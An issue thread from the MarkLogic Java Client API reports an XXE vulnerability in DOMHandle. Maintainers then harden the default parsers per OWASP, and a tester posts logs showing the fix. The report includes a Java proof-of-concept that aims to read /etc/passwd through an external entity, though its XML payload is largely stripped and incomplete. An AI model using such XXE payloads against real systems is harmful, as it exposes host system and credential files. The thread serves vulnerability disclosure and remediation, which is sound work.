Please document the XEE attacks when using DOMHandle so that custoemrs avoid this vulnerability

[lrzedzicki]

So we can address your issue, please include the following:

Version of MarkLogic Java Client API

4.2.0

Version of MarkLogic Server

9.0-9.1

The java api is vulnerable to very easy to exploit XEE attacks. In particular the usage of a DOMHandle is vulnerable.
See the following code snippet for a working exploit.

import com.marklogic.client.DatabaseClient;
import com.marklogic.client.DatabaseClientFactory;
import com.marklogic.client.document.XMLDocumentManager;
import com.marklogic.client.io.DOMHandle;
import com.marklogic.client.io.StringHandle;

import java.nio.charset.Charset;

class Scratch {
   public static void main(String[] args) {
       final DatabaseClient client = DatabaseClientFactory.newClient("localhost", 8000, new DatabaseClientFactory.DigestAuthContext("admin", "admin"));
       final String xml = "" +
           "" +
           "]>" +
           "&xxe;";

       final XMLDocumentManager docMngr = client.newXMLDocumentManager();

       final DOMHandle handle = new DOMHandle();
       handle.fromBuffer(xml.getBytes(Charset.forName("UTF-8")));

       docMngr.write("test.xml", handle);

       System.out.println(docMngr.read("test.xml", new StringHandle()).get());
   }
}

This codesnippets save the content of /etc/passwd to "test.xml" in marklogic and prints its content.

As soon as a DOMHandle is used the injection of system resources (of the host the application is running on) is possible.
See DOMHandle's makeDocumentBuilderFactory method which creates a insecure DocumentBuilderFactory instance.

Please document this scenario so that customers don't run into this issue.
The issue was originally reported by Michale Wagner from SiteFusion.de via MarkLogic support.

[maffelbaffel]

My point with this support issue was that I think its more safe to not allow external entities by default so customers do not get affected by xee attacks so easily.

I can understand if you do not want to introduce a possible breaking change for customers currently relying on the functionality though. It should of course be properly documented in the DOMHandle API then :)

[ehennum]

Given that we're introducing other backward incompatibilities, it seems okay to introduce this one.

I applied the OWASP recommendations to the SAX, StAX, and other defaulted parsers as well.

Of course, the parsers provided by the handles are only defaults. The application is free to configure their own parsers in all cases.

Shouldn't cause any regressions.

[georgeajit]

Ran the snippet on develop branch. The code throws exception.
Fixed.

12:32:14,770 |-INFO in ch.qos.logback.classic.LoggerContext[default] - Found resource [logback-test.xml] at [file:/C:/space/HEAD/java-client-api/marklogic-client-api-functionaltests/bin/test/logback-test.xml]
12:32:14,771 |-WARN in ch.qos.logback.classic.LoggerContext[default] - Resource [logback-test.xml] occurs multiple times on the classpath.
12:32:14,771 |-WARN in ch.qos.logback.classic.LoggerContext[default] - Resource [logback-test.xml] occurs at [file:/C:/space/HEAD/java-client-api/marklogic-client-api/bin/test/logback-test.xml]
12:32:14,771 |-WARN in ch.qos.logback.classic.LoggerContext[default] - Resource [logback-test.xml] occurs at [file:/C:/space/HEAD/java-client-api/marklogic-client-api-functionaltests/bin/test/logback-test.xml]
12:32:14,856 |-INFO in ch.qos.logback.classic.joran.action.ConfigurationAction - debug attribute not set
12:32:14,856 |-INFO in ch.qos.logback.core.joran.action.AppenderAction - About to instantiate appender of type [ch.qos.logback.core.ConsoleAppender]
12:32:14,864 |-INFO in ch.qos.logback.core.joran.action.AppenderAction - Naming appender as [STDOUT]
12:32:14,871 |-INFO in ch.qos.logback.core.joran.action.NestedComplexPropertyIA - Assuming default type [ch.qos.logback.classic.encoder.PatternLayoutEncoder] for [encoder] property
12:32:14,924 |-INFO in ch.qos.logback.classic.joran.action.RootLoggerAction - Setting level of ROOT logger to INFO
12:32:14,924 |-INFO in ch.qos.logback.core.joran.action.AppenderRefAction - Attaching appender named [STDOUT] to Logger[ROOT]
12:32:14,925 |-INFO in ch.qos.logback.classic.joran.action.ConfigurationAction - End of configuration.
12:32:14,927 |-INFO in ch.qos.logback.classic.joran.JoranConfigurator@449b2d27 - Registering current configuration as safe fallback point

[Fatal Error] :1:1: Content is not allowed in prolog.
Exception in thread "main" org.w3c.dom.ls.LSException: Content is not allowed in prolog.
	at com.sun.org.apache.xerces.internal.parsers.DOMParserImpl.parse(DOMParserImpl.java:1015)
	at com.marklogic.client.io.DOMHandle.receiveContent(DOMHandle.java:423)
	at com.marklogic.client.io.DOMHandle.fromBuffer(DOMHandle.java:182)
	at com.marklogic.client.functionaltest.Scratch.main(Scratch.java:22)
Caused by: ::::1:1:3:Content is not allowed in prolog.
	at com.sun.org.apache.xerces.internal.impl.XMLErrorReporter.reportError(XMLErrorReporter.java:376)
	at com.sun.org.apache.xerces.internal.impl.XMLErrorReporter.reportError(XMLErrorReporter.java:327)
	at com.sun.org.apache.xerces.internal.impl.XMLScanner.reportFatalError(XMLScanner.java:1472)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$PrologDriver.next(XMLDocumentScannerImpl.java:994)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(XMLDocumentScannerImpl.java:602)
	at com.sun.org.apache.xerces.internal.impl.XMLNSDocumentScannerImpl.next(XMLNSDocumentScannerImpl.java:112)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:505)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:842)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:771)
	at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
	at com.sun.org.apache.xerces.internal.parsers.DOMParserImpl.parse(DOMParserImpl.java:985)
	... 3 more